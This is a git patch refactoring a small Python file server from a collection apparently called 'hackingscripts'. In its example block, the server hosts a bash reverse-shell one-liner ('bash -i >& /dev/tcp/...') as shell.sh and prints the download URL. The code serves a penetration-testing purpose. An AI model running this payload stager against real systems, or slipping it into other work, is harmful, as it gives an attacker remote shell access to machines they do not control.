From 659a20c1b334f6e18a26efb9d875ad21a97767bf Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Sun, 27 Sep 2020 14:37:52 +0200 Subject: [PATCH] fileserver.py --- fileserver.py | 59 +++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 45 insertions(+), 14 deletions(-) mode change 100644 => 100755 fileserver.py diff --git a/fileserver.py b/fileserver.py old mode 100644 new mode 100755 index f7c6244..8fbda07 --- a/fileserver.py +++ b/fileserver.py @@ -1,10 +1,32 @@ #!/usr/bin/env python +from hackingscripts import util from http.server import BaseHTTPRequestHandler, HTTPServer +import threading +import sys -class HttpFileServer(BaseHTTPRequestHandler): +class FileServerRequestHandler(BaseHTTPRequestHandler): - def __init__(self): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + def do_GET(self): + if self.path in self.server.files: + data = self.server.files[self.path] + self.send_response(200) + self.end_headers() + self.wfile.write(data) + else: + self.send_response(404) + self.end_headers() + + def log_message(self, format, *args): + if self.server.logRequests: + BaseHTTPRequestHandler.log_message(format, *args) + +class HttpFileServer(HTTPServer): + def __init__(self, addr, port): + super().__init__((addr, port), FileServerRequestHandler) self.logRequests = False self.files = { } @@ -15,16 +37,25 @@ class HttpFileServer(BaseHTTPRequestHandler): name = "/" + name self.files[name.strip()] = data - def do_GET(self): - if self.path in self.files: - data = self.files[self.path] - self.send_response(200) - self.end_headers() - self.wfile.write(data) - else: - self.send_response(404) - self.end_headers() + def addFile(self, name, data): + if isinstance(data, str): + data = data.encode("UTF-8") + if not name.startswith("/"): + name = "/" + name + self.files[name.strip()] = data - def log_message(self, format, *args): - if self.logRequests: - BaseHTTPRequestHandler.log_message(format, *args) + def startBackground(self): + t = threading.Thread(target=self.serve_forever) + t.start() + return t + +# EXAMPLE +if __name__ == "__main__": + listenPort = 4444 if len(sys.argv) < 2 else int(sys.argv[1]) + ipAddress = util.getAddress() + + rev_shell = "bash -i >& /dev/tcp/%s/%d 0>&1" % (ipAddress, listenPort) + fileServer = HttpFileServer("0.0.0.0", 80) + fileServer.addFile("shell.sh", rev_shell) + fileServer.startBackground() + print("Reverse Shell URL: http://%s/shell.sh" % ipAddress)